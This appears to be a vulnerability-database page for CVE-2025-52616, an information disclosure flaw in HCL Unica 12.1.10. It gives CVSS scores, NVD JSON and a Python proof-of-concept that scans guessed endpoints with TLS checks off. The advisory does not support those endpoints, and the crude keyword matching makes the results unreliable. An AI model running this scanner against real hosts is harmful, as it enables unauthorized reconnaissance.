Security Vulnerability Report
中文
CVE-2025-52616 CVSS 5.3 MEDIUM

CVE-2025-52616

Published: 2025-10-12 05:15:38
Last Modified: 2025-10-21 14:57:49

Description

HCL Unica 12.1.10 can expose sensitive system information. An attacker could use this information to form an attack plan by leveraging known vulnerabilities in the application.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hcltech:unica:12.1.10:*:*:*:*:*:*:* - VULNERABLE
HCL Unica 12.1.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-52616 - HCL Unica 12.1.10 Sensitive Information Disclosure PoC # This PoC demonstrates how an unauthenticated attacker can retrieve # sensitive system information from a vulnerable HCL Unica instance. import requests import sys import json TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-unica-host" # Common endpoints known to expose sensitive system information in HCL Unica ENDPOINTS = [ "/unica/jsp/main.jsp", "/unica/servlet/Dispatcher", "/unica/jsp/version.jsp", "/unica/admin/console", "/unica/api/system/info", "/unica/jsp/debug/systemInfo.jsp", "/unica/servlet/GetSystemInfo", ] def check_information_disclosure(target): """ Probe HCL Unica for sensitive information disclosure. No authentication required (PR:N), no user interaction (UI:N). """ findings = [] headers = { "User-Agent": "Mozilla/5.0 (compatible; SecurityAudit/1.0)", "Accept": "*/*" } for endpoint in ENDPOINTS: url = f"{target.rstrip('/')}{endpoint}" try: resp = requests.get(url, headers=headers, timeout=10, verify=False) # Check response for sensitive system information markers sensitive_patterns = [ "Unica", "version", "server.info", "java.version", "os.name", "catalina.home", "database", "config", "systemProperties", "build.version", "platform" ] for pattern in sensitive_patterns: if pattern.lower() in resp.text.lower(): findings.append({ "endpoint": endpoint, "status_code": resp.status_code, "leaked_keyword": pattern, "response_length": len(resp.text) }) print(f"[+] Sensitive info found at {endpoint}: keyword='{pattern}'") break except requests.exceptions.RequestException as e: print(f"[-] Error probing {endpoint}: {e}") return findings if __name__ == "__main__": print(f"[*] Probing {TARGET_URL} for CVE-2025-52616...") results = check_information_disclosure(TARGET_URL) print(f"\n[*] Total findings: {len(results)}") print(json.dumps(results, indent=2))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52616", "sourceIdentifier": "[email protected]", "published": "2025-10-12T05:15:38.313", "lastModified": "2025-10-21T14:57:49.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Unica 12.1.10 can expose sensitive system information. An attacker could use this information to form an attack plan by leveraging known vulnerabilities in the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:unica:12.1.10:*:*:*:*:*:*:*", "matchCriteriaId": "D040191A-9DC1-448C-B385-5A883DC2E2CB"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0124230", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}